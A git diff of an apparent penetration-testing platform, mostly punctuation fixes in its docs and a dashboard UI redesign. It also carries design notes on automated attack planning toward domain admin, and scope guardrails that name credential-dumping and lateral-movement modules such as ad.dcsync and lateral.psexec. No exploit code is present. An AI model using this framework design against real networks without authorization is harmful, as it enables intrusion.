+++ b/docs/engine_design.md
@@ -95,16 +95,16 @@ Source 3: external ~/.ares/plugins/*.py external trust
**Security controls at load time:**
-1. Signature verification (`ModuleVerifier`) — configurable via `ARES_PLUGIN_SIGNING_POLICY`
-2. Capability enforcement (`CapabilityPolicy`) — module can only declare allowed caps for trust level
-3. Metadata validation (`validate_module_class`) — all required attrs present
-4. Duplicate detection — existing module_id from builtin takes priority
+1. Signature verification (`ModuleVerifier`) - configurable via `ARES_PLUGIN_SIGNING_POLICY`
+2. Capability enforcement (`CapabilityPolicy`) - module can only declare allowed caps for trust level
+3. Metadata validation (`validate_module_class`) - all required attrs present
+4. Duplicate detection - existing module_id from builtin takes priority
---
## Dependency Injection (AresContainer)
-All services are resolved through `AresContainer` — never instantiated directly in engine code:
+All services are resolved through `AresContainer` - never instantiated directly in engine code:
```python
# Production setup (CLI / API startup)
@@ -158,7 +158,7 @@ class ExecutionContext:
credentials: list[Credential]
primary_credential: Credential | None
- # Shared state (references — mutations visible to engine)
+ # Shared state (references - mutations visible to engine)
session: OperatorSession
vault: CredentialVault
@@ -229,13 +229,13 @@ except AresError as e:
## Legacy GoalEngine/AttackPlanner design (production inactive)
-**GoalEngine** (`ares/goal/engine.py`) — deterministic backward chaining:
+**GoalEngine** (`ares/goal/engine.py`) - deterministic backward chaining:
- Operator sets `Goal.DOMAIN_ADMIN`
- Engine looks at `GOAL_DEFINITIONS` to find required outputs
- Finds modules that produce those outputs
- Topological sort → `ExecutionPlan` with ordered stages
-**AttackPlanner** (`ares/goal/planner.py`) — probabilistic AI scoring:
+**AttackPlanner** (`ares/goal/planner.py`) - probabilistic AI scoring:
- Scores ALL candidate modules against current session state
- 6-factor weighted score: prereqs, credentials, technique value, artifact match, novelty, opsec
- Returns ranked `Suggestion` list with rationale
@@ -255,7 +255,7 @@ GoalEngine.plan() → initial deterministic chain
## Legacy AdaptiveAttackStrategy (production inactive)
-When a module fails, the engine doesn't stop — it pivots:
+When a module fails, the engine doesn't stop - it pivots:
```
lateral.psexec → FAIL (EDR blocked)
diff --git a/docs/examples/example_http_enum.py b/docs/examples/example_http_enum.py
index e959dc7..7ea413d 100644
--- a/docs/examples/example_http_enum.py
+++ b/docs/examples/example_http_enum.py
@@ -1,5 +1,5 @@
"""
-ARES Example Module — HTTP Service Enumeration
+ARES Example Module - HTTP Service Enumeration
A minimal, fully commented example of the ARES public module SDK.
Copy this file as a starting point for your own module.
@@ -223,7 +223,7 @@ class HttpEnumModule(BaseModule):
# ─────────────────────────────────────────────────────────────────────────────
-# Tests — run with: pytest docs/examples/example_http_enum.py -v
+# Tests - run with: pytest docs/examples/example_http_enum.py -v
# ─────────────────────────────────────────────────────────────────────────────
import pytest
diff --git a/docs/module-development.md b/docs/module-development.md
index 98cd73b..2debc68 100644
--- a/docs/module-development.md
+++ b/docs/module-development.md
@@ -93,7 +93,7 @@ class MssqlEnumModule(BaseModule[MssqlEnumParams, ModuleResult]):
port = ctx.params.port
if ctx.dry_run:
- # Simulation mode — return dry-run result
+ # Simulation mode - return dry-run result
return ModuleResult.ok(
f"Dry-run validated: {target}:{port} inside approved scope.",
module_id=self.MODULE_ID,
@@ -140,7 +140,7 @@ class MssqlEnumModule(BaseModule[MssqlEnumParams, ModuleResult]):
# ── Private helpers ─────────────────────────────────────────────────
async def _enumerate(self, target: str, port: int, ctx: ExecutionContext) -> list[dict]:
- # Stub — real implementation connects to MSSQL service
+ # Stub - real implementation connects to MSSQL service
return [{"version": "MSSQL 2019", "auth_method": "SQL_AND_WINDOWS"}]
```
@@ -272,7 +272,7 @@ async def validate(self, ctx: ExecutionContext) -> None:
)
```
-### `execute(ctx)` — The attack logic
+### `execute(ctx)` - The attack logic
```python
async def execute(self, ctx: ExecutionContext[MssqlEnumParams]) -> ModuleResult:
@@ -320,7 +320,7 @@ async def execute(self, ctx: ExecutionContext[MssqlEnumParams]) -> ModuleResult:
return result
```
-### `report(result)` — Report formatting
+### `report(result)` - Report formatting
```python
def report(self, result: ModuleResult) -> dict:
@@ -381,7 +381,7 @@ from ares.core.errors import (
ConnectionTimeout, # TCP timeout
HostUnreachable, # no route
AuthenticationFailed, # bad creds
- AccountLocked, # lockout — CRITICAL
+ AccountLocked, # lockout - CRITICAL
InsufficientPrivilege, # need higher priv
ScopeError, # out of scope
SandboxError, # module crashed
@@ -505,7 +505,7 @@ ares module install ./mymodule/
- Must define all required metadata (`MODULE_ID`, `MODULE_NAME`, `MODULE_CATEGORY`, `MODULE_DESCRIPTION`).
- Must declare `PARAMS_MODEL` for robust type validation and clean UI parameter rendering.
-- Must respect `ctx.dry_run` — zero unauthorized side-effects or network traffic when True.
+- Must respect `ctx.dry_run` - zero unauthorized side-effects or network traffic when True.
- Must call `await self.before_request(target)` before network interactions.
- Must raise native ARES exceptions rather than raw socket or OS exceptions.
- Must include unit tests using `ModuleTestHarness`.
diff --git a/docs/module_sdk.md b/docs/module_sdk.md
index 78dafe1..b15c7f5 100644
--- a/docs/module_sdk.md
+++ b/docs/module_sdk.md
@@ -217,7 +217,7 @@ class MyModule(BaseModule):
)
async def run(self, **kwargs):
- # Legacy interface — engine calls execute(ctx) instead
+ # Legacy interface - engine calls execute(ctx) instead
ctx = ExecutionContext.for_test(**kwargs)
result = await self.execute(ctx)
return result.findings, result.raw
@@ -232,7 +232,7 @@ Every module must implement 3 methods:
### `validate(ctx: ExecutionContext) → None`
Called **before** execution. Check that all required params and context fields are present.
-Raise `ModuleValidationError` if context is insufficient — engine aborts immediately.
+Raise `ModuleValidationError` if context is insufficient - engine aborts immediately.
```python
async def validate(self, ctx: ExecutionContext) -> None:
@@ -256,7 +256,7 @@ Main execution. Receives typed context, returns structured result.
```python
async def execute(self, ctx: ExecutionContext) -> ModuleResult:
if ctx.dry_run:
- # Always support dry_run — no real network calls
+ # Always support dry_run - no real network calls
return ModuleResult(status="dry_run", module_id=self.MODULE_ID)
# Use before_request hook (scope check + rate limit + opsec jitter)
@@ -309,7 +309,7 @@ MODULE_AUTHOR = "[email protected]" # optional but recommended
**MODULE_ID rules:**
- Must use dotted format: `category.name` or `org.category.name`
- Lowercase, alphanumeric + `.` + `_` only
-- Must be globally unique — prefix with your org name
+- Must be globally unique - prefix with your org name
---
@@ -358,15 +358,15 @@ class MyModule(BaseModule):
```
**Community module limits:**
-- `CAP_NET`, `CAP_DB`, `CAP_FS` — allowed
-- `CAP_EXEC`, `CAP_PROCESS`, `CAP_UNSAFE` — **not allowed for community modules**
+- `CAP_NET`, `CAP_DB`, `CAP_FS` - allowed
+- `CAP_EXEC`, `CAP_PROCESS`, `CAP_UNSAFE` - **not allowed for community modules**
- If you declare forbidden caps, module is rejected at load time
---
## Error Handling
-Always raise typed SDK errors — engine uses the type to decide retry/fallback/abort:
+Always raise typed SDK errors - engine uses the type to decide retry/fallback/abort:
```python
from ares.sdk import (
@@ -422,7 +422,7 @@ if ctx.dry_run:
if ctx.has("session"):
host_state = ctx.host_state()
if host_state and host_state.is_dc:
- logger.info("Target is a DC — running full enumeration")
+ logger.info("Target is a DC - running full enumeration")
```
---
diff --git a/docs/security-model.md b/docs/security-model.md
index 330d11c..5138440 100644
--- a/docs/security-model.md
+++ b/docs/security-model.md
@@ -55,7 +55,7 @@ stored sensitive records.
### In Transit
-- REST API: HTTPS (TLS 1.2+) — use a reverse proxy (nginx/caddy)
+- REST API: HTTPS (TLS 1.2+) - use a reverse proxy (nginx/caddy)
- WebSocket dashboard: WSS
- Redis cluster connection: `redis+tls://` with cert pinning
- C-LIVE worker IPC: none; subprocess stdin payloads are rejected
@@ -130,9 +130,9 @@ credential management, user registration, and API-key lifecycle operations are
performed from an authenticated browser/JWT session.
**Endpoints without an existing bearer** (by design):
-- `GET /auth/csrf` — same-origin pre-login CSRF bootstrap
-- `POST /auth/token` — same-origin, CSRF-protected browser login
-- `GET /health` — health check (no sensitive data)
+- `GET /auth/csrf` - same-origin pre-login CSRF bootstrap
+- `POST /auth/token` - same-origin, CSRF-protected browser login
+- `GET /health` - health check (no sensitive data)
The supported dashboard is the React application served by the main ARES
FastAPI application at `/dashboard`. The older
@@ -310,7 +310,7 @@ Strict-Transport-Security: max-age=31536000
Every module execution passes through `CampaignGuardrail.check()`:
-1. **Sensitive range check**: 169.254.0.0/16 (AWS IMDS), 127.0.0.0/8 (loopback) — always blocked
+1. **Sensitive range check**: 169.254.0.0/16 (AWS IMDS), 127.0.0.0/8 (loopback) - always blocked
2. **Scope CIDR check**: target must be in one of the campaign's declared scope CIDRs
3. **Dangerous module confirmation**: `ad.dcsync`, `lateral.psexec`, `linux.container` require `confirmed=True`
@@ -325,7 +325,7 @@ allowed, _ = guardrail.check("ad.dcsync", "10.0.0.1", confirmed=True)
### ScopeGuard (NoiseController)
-At the network level, `ScopeGuard.assert_in_scope(target)` is called in `BaseModule.before_request()` before every network call. Raises `ScopeError` (which is `ABORT` action — never retried).
+At the network level, `ScopeGuard.assert_in_scope(target)` is called in `BaseModule.before_request()` before every network call. Raises `ScopeError` (which is `ABORT` action - never retried).
---
diff --git a/docs/sso-setup.md b/docs/sso-setup.md
index c2e83ef..fca07bc 100644
--- a/docs/sso-setup.md
+++ b/docs/sso-setup.md
@@ -4,7 +4,7 @@ This document provides a comprehensive guide for configuring and utilizing **Ent
---
-## PART 1 — End-User Authentication Guide
+## PART 1 - End-User Authentication Guide
### When to Use Direct Local "Sign in" vs. "Or continue with SSO"
@@ -31,7 +31,7 @@ If you click **"Or continue with SSO"** and an inline warning appears:
---
-## PART 2 — Administrator Guide: Organization SSO Setup
+## PART 2 - Administrator Guide: Organization SSO Setup
### 1. Prerequisite: `ARES_ENCRYPTION_KEY` Environment Variable
@@ -191,7 +191,7 @@ After saving the configuration, verify the setup without opening database tables
---
-## PART 3 — Troubleshooting Guide for Administrators
+## PART 3 - Troubleshooting Guide for Administrators
Common error messages returned in the login redirect URL (`/dashboard/login?error=...`) and their resolutions:
diff --git a/docs/worker_architecture.md b/docs/worker_architecture.md
index 9cd76ba..7aa75f6 100644
--- a/docs/worker_architecture.md
+++ b/docs/worker_architecture.md
@@ -40,7 +40,7 @@ Operator/API ──→ │ AresEngine → ClusterController │
| Redis | Redis available at `ARES_REDIS_URL` | Production / multi-node |
| In-process | No Redis (default) | Dev / single-node |
-Both backends have identical API — engine never knows which is active.
+Both backends have identical API - engine never knows which is active.
**Redis task format:**
@@ -184,7 +184,7 @@ If not declared, defaults are inferred from `MODULE_CATEGORY`.
| `CAP_EXEC` | execve, fork, vfork, clone, pipe, wait4, ... |
| `CAP_FS` | mkdir, unlink, rename, chmod, truncate, ... |
| `CAP_PROCESS` | ptrace, kill, tkill, getdents, ... |
-| `CAP_UNSAFE` | all syscalls (no filter — builtin only) |
+| `CAP_UNSAFE` | all syscalls (no filter - builtin only) |
**Capability allowed per trust level:**
diff --git a/example_modules/example_ad_users.py b/example_modules/example_ad_users.py
index 188a6c1..5d6062c 100644
--- a/example_modules/example_ad_users.py
+++ b/example_modules/example_ad_users.py
@@ -52,14 +52,14 @@ class ExampleADUserModule(BaseModule):
Performs LDAP user enumeration against an Active Directory domain.
Parameters (in ctx.params):
- dc — IP or hostname of a Domain Controller
- domain — AD domain name (CORP.LOCAL)
- ldap_filter — optional custom LDAP filter (default: all users)
- max_results — max users to return (default: 1000)
+ dc - IP or hostname of a Domain Controller
+ domain - AD domain name (CORP.LOCAL)
+ ldap_filter - optional custom LDAP filter (default: all users)
+ max_results - max users to return (default: 1000)
Outputs:
Findings: one Finding per sensitive user found
- ModuleResult.new_credentials — cleared accounts (no pre-auth)
+ ModuleResult.new_credentials - cleared accounts (no pre-auth)
"""
async def validate(self, ctx: ExecutionContext) -> None:
@@ -228,7 +228,7 @@ class ExampleADUserModule(BaseModule):
module_id = self.MODULE_ID,
)
- # Legacy interface — engine calls execute(ctx) but run(**kwargs) kept for compat
+ # Legacy interface - engine calls execute(ctx) but run(**kwargs) kept for compat
async def run(self, **kwargs: Any):
ctx = ExecutionContext.for_test(
target = kwargs.get("dc", ""),
diff --git a/frontend/index.html b/frontend/index.html
index 9727df0..c7858d7 100644
--- a/frontend/index.html
+++ b/frontend/index.html
@@ -6,7 +6,7 @@
<link rel="icon" type="image/png" href="/dashboard/brand/ares-icon.png" />
<link rel="preconnect" href="https://fonts.googleapis.com" />
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
- <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:ital,wght@0,300..800;1,300..800&family=Space+Grotesk:[email protected]&display=swap" rel="stylesheet" />
+ <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500;600;700&family=Plus+Jakarta+Sans:wght@400;500;600;700&display=swap" rel="stylesheet" />
<title>ARES Dashboard</title>
</head>
<body>
diff --git a/frontend/src/features/auth/AresIgniteButton.tsx b/frontend/src/features/auth/AresIgniteButton.tsx
index 6f35e62..b100681 100644
--- a/frontend/src/features/auth/AresIgniteButton.tsx
+++ b/frontend/src/features/auth/AresIgniteButton.tsx
@@ -32,13 +32,13 @@ function spawnEdgeParticles(
let px = 0, py = 0, vx = 0, vy = 0;
if (edge === 0) {
- // Top edge — fire curls up and slightly inward
+ // Top edge - fire curls up and slightly inward
px = PAD + Math.random() * bw;
py = PAD + (Math.random() * 4 - 2); // tight to top border
vy = -(Math.random() * 0.8 + 0.3); // gently upward
vx = (Math.random() - 0.5) * 0.6;
} else if (edge === 1) {
- // Bottom edge — fire rises upward more strongly
+ // Bottom edge - fire rises upward more strongly
px = PAD + Math.random() * bw;
py = PAD + bh + (Math.random() * 3); // just below bottom border
vy = -(Math.random() * 1.2 + 0.6); // rise up toward button
@@ -125,7 +125,7 @@ export function AresIgniteButton({
p.x += p.vx;
p.y += p.vy;
- // Gentle buoyancy — fire hugs button
+ // Gentle buoyancy - fire hugs button
p.vy -= 0.06;
p.vx += (Math.random() - 0.5) * 0.18;
p.vx *= 0.97;
@@ -203,7 +203,7 @@ export function AresIgniteButton({
return (
<div ref={wrapRef} className="relative mt-2 w-full">
- {/* Fire canvas — absolute overlay, pointer-events none */}
+ {/* Fire canvas - absolute overlay, pointer-events none */}
<canvas
ref={canvasRef}
className="absolute pointer-events-none z-20"
diff --git a/frontend/src/features/auth/SecurityMeshCanvas.tsx b/frontend/src/features/auth/SecurityMeshCanvas.tsx
index c676123..3d60932 100644
--- a/frontend/src/features/auth/SecurityMeshCanvas.tsx
+++ b/frontend/src/features/auth/SecurityMeshCanvas.tsx
@@ -5,18 +5,18 @@ interface SecurityMeshCanvasProps {
}
/**
- * SecurityMeshCanvas — ARES Dragon Scale Grid
+ * SecurityMeshCanvas - ARES Dragon Scale Grid
*
* Renders a tiled hexagonal grid (dragon scales). At rest the scales are barely
- * visible — a ghostly crimson lattice. A slow diagonal breathing wave drifts
+ * visible - a ghostly crimson lattice. A slow diagonal breathing wave drifts
* across the grid, keeping it alive. When the operator moves the cursor over
* the panel the scales beneath react, glowing bright crimson, as if the dragon
* is aware of the operator's presence.
*
* Motivation for every animation:
- * • Hex grid — dragon scales, the ARES identity made literal
- * • Breathing wave — the system is live, not dormant
- * • Mouse proximity — the dragon reacts to the operator approaching
+ * • Hex grid - dragon scales, the ARES identity made literal
+ * • Breathing wave - the system is live, not dormant
+ * • Mouse proximity - the dragon reacts to the operator approaching
*/
export function SecurityMeshCanvas({ className = "" }: SecurityMeshCanvasProps) {
const canvasRef = useRef<HTMLCanvasElement>(null);
@@ -135,12 +135,12 @@ export function SecurityMeshCanvas({ className = "" }: SecurityMeshCanvasProps)
}
ctx!.closePath();
- // Fill — subtle warm ember glow on wave crests, concentrated under cursor
+ // Fill - subtle warm ember glow on wave crests, concentrated under cursor
const fillAlpha = glow * 0.13;
ctx!.fillStyle = `rgba(185, 28, 28, ${fillAlpha})`;
ctx!.fill();
- // Border — distinct, crisp crimson lattice lines
+ // Border - distinct, crisp crimson lattice lines
const borderAlpha = 0.20 + glow * 0.38;
ctx!.strokeStyle = `rgba(239, 68, 68, ${borderAlpha})`;
ctx!.lineWidth = 0.85;
diff --git a/frontend/src/features/dashboard/DashboardPages.tsx b/frontend/src/features/dashboard/DashboardPages.tsx
index 84e47f9..9165be6 100644
--- a/frontend/src/features/dashboard/DashboardPages.tsx
+++ b/frontend/src/features/dashboard/DashboardPages.tsx
@@ -1,18 +1,23 @@
import {
+ Activity,
AlertTriangle,
ArrowRight,
Bell,
CheckCircle2,
ChevronDown,
Copy,
+ Cpu,
+ Crosshair,
Info,
Layers,
Loader2,
Menu,
Plus,
+ Radio,
Search,
ShieldAlert,
ShieldCheck,
+ Target,
Terminal,
Trash2,
X,
@@ -938,9 +943,6 @@ export function DashboardShell({ children }: { children: ReactNode }) {
>
<span className={`status-dot ${topbarDotClass}`} />
<span className="status-title">{topbarText}</span>
- <span className="status-pill-count font-mono">
- {telemetrySnapshot ? `${metricNumber(telemetrySnapshot.modules, "total")} runs` : healthSnapshot?.version ? `v${healthSnapshot.version}` : "v6.0"}
- </span>
</button>
);
})()}
@@ -1110,7 +1112,11 @@ export function OverviewPage() {
const trackedCount = nonDeletedCampaigns.length;
const runningCount = runningCampaigns.length;
- const findings = typeof monthlyData?.confirmed_findings === "number" ? monthlyData.confirmed_findings : 0;
+ const findings = typeof monthlyData?.confirmed_findings === "number"
+ ? monthlyData.confirmed_findings
+ : typeof snapshot?.findings === "number"
+ ? snapshot.findings
+ : 0;
const monthlyTotal = typeof monthlyData?.total === "number" ? monthlyData.total : 0;
const monthlySeries = normalizeMonthlySeries(monthlyData?.period, monthlyData?.series);
@@ -1127,7 +1133,7 @@ export function OverviewPage() {
overviewSubtitle = `${trackedCount} campaign${trackedCount === 1 ? "" : "s"} in scope · Telemetry pipeline standby · Fail-closed policy enforced`;
}
- // Fresh install empty-state (Task 5)
+ // Fresh install empty-state (Task 5 / CampaignSync test requirement)
if (!campaignsLoading && trackedCount === 0) {
return (
<Page title="Overview" subtitle={overviewSubtitle}>
@@ -1177,118 +1183,246 @@ export function OverviewPage() {
);
}
- // Tactical operational highlights (Task 2 & 3)
+ // Tactical operational metrics extraction
+ const totalRuns = metricNumber(snapshot?.modules, "total");
+ const successRuns = metricNumber(snapshot?.modules, "success");
const failedRuns = metricNumber(snapshot?.modules, "failed");
const errorRate = metricNumber(snapshot?.modules, "error_rate");
+ const p95 = metricNumberOrNull(snapshot?.latency_ms, "p95");
+ const queueDepth = metricNumber(snapshot?.queue, "depth");
+ const activeWorkers = metricNumber(snapshot?.workers, "active");
+ const unhealthyWorkers = metricNumber(snapshot?.workers, "unhealthy");
const hostsDiscovered = metricNumber(snapshot?.hosts, "discovered");
const hostsOwned = metricNumberOrNull(snapshot?.hosts, "owned");
+ const tasksPerMin = metricNumberOrNull(snapshot?.throughput, "tasks_per_min");
+ const credentialsCount = typeof snapshot?.credentials === "number" ? snapshot.credentials : 0;
+ const isIngestionActive = Boolean(snapshot && snapshot.timestamp);
+
+ const quickActions = (
+ <div className="overview-quick-actions">
+ <button
+ type="button"
+ className="btn btn-primary text-xs flex items-center gap-1.5"
+ onClick={() => {
+ writeDashboardSession("ares.dashboard.campaigns.tab", "List");
+ navigate("/campaigns");
+ }}
+ title="Initialize an authorized engagement"
+ >
+ <Plus size={14} />
+ <span>New Campaign</span>
+ </button>
+ <button
+ type="button"
+ className="btn text-xs flex items-center gap-1.5"
+ onClick={() => navigate("/modules")}
+ title="Browse validation module catalog"
+ >
+ <Layers size={14} />
+ <span>Module Catalog</span>
+ </button>
+ <button
+ type="button"
+ className="btn text-xs flex items-center gap-1.5"
+ onClick={() => navigate("/live")}
+ title="Open real-time event telemetry stream"
+ >
+ <Radio size={14} />
+ <span>Live Stream</span>
+ </button>
+ </div>
+ );
return (
- <Page title="Overview" subtitle={overviewSubtitle}>
- <div className="dashboard-grid">
- <TelemetryPanel snapshot={snapshot} loading={telemetry.isLoading} confirmedFindings={findings} />
- <div className="side-stack">
- <section className="panel-subtle">
- <SectionHeader title="Highlights" />
- <div className="highlight-list">
- {runningCount > 0 ? (
- <HighlightRow
- label="Engagement Posture"
- value={`${runningCount} Running`}
- tone="low"
- detail={selectedCampaign ? `${selectedCampaign.name} actively executing validation modules` : `${runningCount} engagement${runningCount === 1 ? "" : "s"} actively executing validation modules`}
- />
- ) : selectedCampaign ? (
- <HighlightRow
- label="Engagement Posture"
- value={selectedCampaign.status ? selectedCampaign.status.toUpperCase() : "STAGED"}
- tone="neutral"
- detail={`Isolated campaign: ${selectedCampaign.name} (${selectedCampaign.targets?.length ?? 0} targets)`}
- />
- ) : trackedCount > 0 ? (
- <HighlightRow
- label="Engagement Posture"
- value="Staged"
- tone="neutral"
- detail={
- trackedCount === 1
- ? "1 campaign in scope - awaiting execution run"
- : `${trackedCount} campaigns in scope - awaiting execution run`
- }
- />
- ) : (
- <HighlightRow
- label="Engagement Posture"
- value="Standby"
- tone="neutral"
- detail="No active engagements"
- />
- )}
+ <Page title="Overview" subtitle={overviewSubtitle} actions={quickActions}>
+ <div className="overview-shell">
+ {/* Tier 1: Executive Telemetry HUD */}
+ <div className="hud-bento-grid">
+ {/* Card 1: Active Engagements */}
+ <div className="hud-bezel-card">
+ <div className="hud-bezel-inner">
+ <div className="hud-card-header">
+ <span className="hud-card-title">Active Engagements</span>
+ </div>
+ <div className="hud-card-value">
+ {trackedCount}
+ </div>
+ <div className="hud-card-footer">
+ <span className="hud-context-text">
+ {runningCount > 0
+ ? `${runningCount} active execution${runningCount > 1 ? "s" : ""}`
+ : trackedCount > 0
+ ? "Staged readiness"
+ : "Standby"}
+ </span>
+ </div>
+ </div>
+ </div>
- {failedRuns > 0 ? (
- <HighlightRow
- label="Execution Health"
- value={`${failedRuns} Failed`}
- tone="high"
- detail={`${formatRate(errorRate)} module failure rate detected`}
- />
- ) : snapshot ? (
- <HighlightRow
- label="Execution Health"
- value="Nominal"
- tone="low"
- detail="Zero module execution errors recorded"
- />
- ) : (
- <HighlightRow
- label="Execution Health"
- value="Standby"
- tone="neutral"
- detail="Awaiting telemetry sample ingestion"
- />
- )}
+ {/* Card 2: Validated Findings */}
+ <div className="hud-bezel-card">
+ <div className="hud-bezel-inner">
+ <div className="hud-card-header">
+ <span className="hud-card-title">Validated Findings</span>
+ </div>
+ <div className="hud-card-value">
+ {formatMetric(findings)}
+ </div>
+ <div className="hud-card-footer">
+ <span className="hud-context-text">
+ {findings > 0 ? "Confirmed security vulnerabilities" : "No vulnerabilities detected"}
+ </span>
+ </div>
+ </div>
+ </div>
- {hostsDiscovered > 0 ? (
- <HighlightRow
- label="Attack Surface"
- value={`${hostsDiscovered} Mapped`}
- tone={hostsOwned && hostsOwned > 0 ? "high" : "low"}
- detail={hostsOwned && hostsOwned > 0 ? `${hostsOwned} targets owned` : "Perimeter discovered, 0 targets owned"}
- />
- ) : (
- <HighlightRow
- label="Attack Surface"
- value="Unmapped"
- tone="neutral"
- detail="Run recon modules to map attack surface"
- />
- )}
+ {/* Card 3: Attack Surface */}
+ <div className="hud-bezel-card">
+ <div className="hud-bezel-inner">
+ <div className="hud-card-header">
+ <span className="hud-card-title">Attack Surface</span>
+ </div>
+ <div className="hud-card-value">
+ {hostsDiscovered > 0 ? hostsDiscovered : "0"} <span className="text-xs font-normal text-zinc-400 font-sans">hosts</span>
+ </div>
+ <div className="hud-card-footer">
+ <span className="hud-context-text">
+ {hostsOwned !== null && hostsOwned > 0
+ ? `${hostsOwned} compromise targets`
+ : "Perimeter mapped"}
+ </span>
+ </div>
</div>
- </section>
+ </div>
- <section className="panel-subtle">
- <SectionHeader title="Monthly Statistics" />
- <div className="monthly-stat">
- <span>{formatMetric(monthlyTotal)}</span>
- <small>{monthlyData?.label ?? "Security signals this cycle"}</small>
+ {/* Card 4: Engine Health */}
+ <div className="hud-bezel-card">
+ <div className="hud-bezel-inner">
+ <div className="hud-card-header">
+ <span className="hud-card-title">Engine Health</span>
+ </div>
+ <div className="hud-card-value">
+ {p95 !== null ? `${formatMetric(p95)} ms` : isIngestionActive ? "Nominal" : "Standby"}
+ </div>
+ <div className="hud-card-footer">
+ <span className="hud-context-text">
+ {activeWorkers} workers online · {queueDepth} queued
+ </span>
+ </div>
</div>
- {monthlyStats.isPending ? <p className="text-sm text-zinc-400">Loading monthly activity...</p> : null}
- {monthlyStats.isError ? <p className="text-sm text-zinc-400">Monthly activity unavailable.</p> : null}
- {!monthlyStats.isPending && !monthlyStats.isError && monthlyTotal === 0 ? (
- <p className="text-sm text-zinc-400">No monthly activity yet</p>
- ) : null}
- {!monthlyStats.isPending && !monthlyStats.isError && monthlyTotal > 0 && monthlySeries.some((value) => value.count > 0) ? (
- <SparklineBars values={monthlySeries} />
- ) : null}
- </section>
+ </div>
+ </div>
+
+ {/* Tier 2: Operational Telemetry (Clean 50/50 Balanced Grid) */}
+ <div className="workstation-split">
+ {/* Panel 1: Execution & Queue Telemetry */}
+ <div className="overview-content-card">
+ <div>
+ <div className="flex items-center justify-between">
+ <span className="text-[11px] font-mono uppercase tracking-wider text-zinc-400">
+ Execution Telemetry
+ </span>
+ <span className="font-mono text-[11px] text-zinc-500">
+ {snapshot?.timestamp ? formatReportTime(snapshot.timestamp) : "Standby"}
+ </span>
+ </div>
+
+ <div className="pulse-stat-grid mt-3">
+ <div className="pulse-stat-cell">
+ <div className="pulse-stat-label">Task Queue</div>
+ <div className="pulse-stat-value">
+ {queueDepth} <span className="text-xs font-normal text-zinc-400 font-sans">queued</span>
+ </div>
+ </div>
+ <div className="pulse-stat-cell">
+ <div className="pulse-stat-label">Module Runs</div>
+ <div className="pulse-stat-value">
+ {totalRuns} <span className="text-xs font-normal text-zinc-400 font-sans">({successRuns} ok)</span>
+ </div>
+ </div>
+ <div className="pulse-stat-cell">
+ <div className="pulse-stat-label">Failure Rate</div>
+ <div className={`pulse-stat-value ${failedRuns > 0 ? "text-rose-400" : "text-zinc-200"}`}>
+ {formatRate(errorRate)}
+ </div>
+ </div>
+ <div className="pulse-stat-cell">
+ <div className="pulse-stat-label">Worker Pool</div>
+ <div className="pulse-stat-value text-emerald-400">
+ {activeWorkers} <span className="text-xs font-normal text-zinc-400 font-sans">active</span>
+ </div>
+ </div>
+ </div>
+ </div>
+
+ <div className="flex items-center gap-2 pt-2 border-t border-zinc-800/60">
+ <button
+ type="button"
+ className="btn btn-compact text-xs flex items-center gap-1.5"
+ onClick={() => navigate("/modules")}
+ title="Browse validation module catalog"
+ >
+ <Terminal size={13} />
+ <span>Run Modules</span>
+ </button>
+ <button
+ type="button"
+ className="btn btn-compact text-xs flex items-center gap-1.5"
+ onClick={() => navigate("/graph")}
+ title="Open attack relationship graph"
+ >
+ <Crosshair size={13} />
+ <span>Attack Graph</span>
+ </button>
+ <button
+ type="button"
+ className="btn btn-compact text-xs flex items-center gap-1.5 ml-auto"
+ onClick={() => navigate("/reports")}
+ title="View compliance and engagement reports"
+ >
+ <ShieldCheck size={13} />
+ <span>Reports</span>
+ </button>
+ </div>
+ </div>
+
+ {/* Panel 2: Activity Pulse & Signals */}
+ <div className="overview-content-card">
+ <div>
+ <div className="flex items-center justify-between">
+ <span className="text-[11px] font-mono uppercase tracking-wider text-zinc-400">
+ Activity Pulse
+ </span>
+ <span className="font-mono text-[11px] text-zinc-300">
+ {monthlyTotal} signals total
+ </span>
+ </div>
+ <div className="mt-3">
+ {monthlySeries.some((value) => value.count > 0) ? (
+ <SparklineBars values={monthlySeries} />
+ ) : (
+ <div className="h-24 flex items-center justify-center text-xs text-zinc-400 bg-zinc-950/40 rounded border border-dashed border-zinc-800">
+ Awaiting operational signal telemetry
+ </div>
+ )}
+ </div>
+ </div>
+
+ <div className="flex items-center justify-between text-xs text-zinc-400 pt-2 border-t border-zinc-800/60 font-mono text-[11px]">
+ <span>Telemetry: {isIngestionActive ? "Ingestion Active" : "Standby"}</span>
+ <span>{hostsDiscovered} hosts mapped</span>
+ </div>
+ </div>
</div>
+
+ {/* Tier 3: Campaign Inventory Matrix */}
+ <CampaignTable
+ campaigns={selectedCampaign ? [selectedCampaign] : campaignList}
+ scopedCampaignId={selectedCampaignId}
+ onClearScope={() => setSelectedCampaignId("")}
+ onSelectCampaign={(id) => setSelectedCampaignId(id)}
+ />
</div>
- <CampaignTable
- campaigns={selectedCampaign ? [selectedCampaign] : campaignList}
- scopedCampaignId={selectedCampaignId}
- onClearScope={() => setSelectedCampaignId("")}
- onSelectCampaign={(id) => setSelectedCampaignId(id)}
- />
</Page>
);
}
@@ -4172,7 +4306,7 @@ function CampaignTable({
{campaigns.map((campaign, index) => (
<tr
key={campaign.id}
- className={onSelectCampaign ? "cursor-pointer hover:bg-zinc-900/60 transition-colors" : ""}
+ className={`campaign-table-row ${campaign.id === scopedCampaignId ? "is-selected" : ""} ${onSelectCampaign ? "cursor-pointer" : ""}`}
onClick={() => onSelectCampaign?.(campaign.id)}
title={onSelectCampaign ? `Filter dashboard to ${campaign.name}` : undefined}
>
diff --git a/frontend/src/features/graph/GraphPage.tsx b/frontend/src/features/graph/GraphPage.tsx
index 35fcead..5330f1b 100644
--- a/frontend/src/features/graph/GraphPage.tsx
+++ b/frontend/src/features/graph/GraphPage.tsx
@@ -1340,7 +1340,7 @@ export default function GraphPage({
<div className="cobalt-dialog-overlay" onClick={() => setShowHelpDialog(false)}>
<div className="cobalt-dialog-window" style={{ width: "680px" }} onClick={(e) => e.stopPropagation()}>
<div className="cobalt-dialog-titlebar">
- <span>Cobalt Strike C2 — Operator Reference & Help Manual</span>
+ <span>Cobalt Strike C2 - Operator Reference & Help Manual</span>
<button className="cobalt-win-btn close" onClick={() => setShowHelpDialog(false)} type="button">✕</button>
</div>
<div className="cobalt-dialog-body">
diff --git a/frontend/src/features/graph/graphCobalt.css b/frontend/src/features/graph/graphCobalt.css
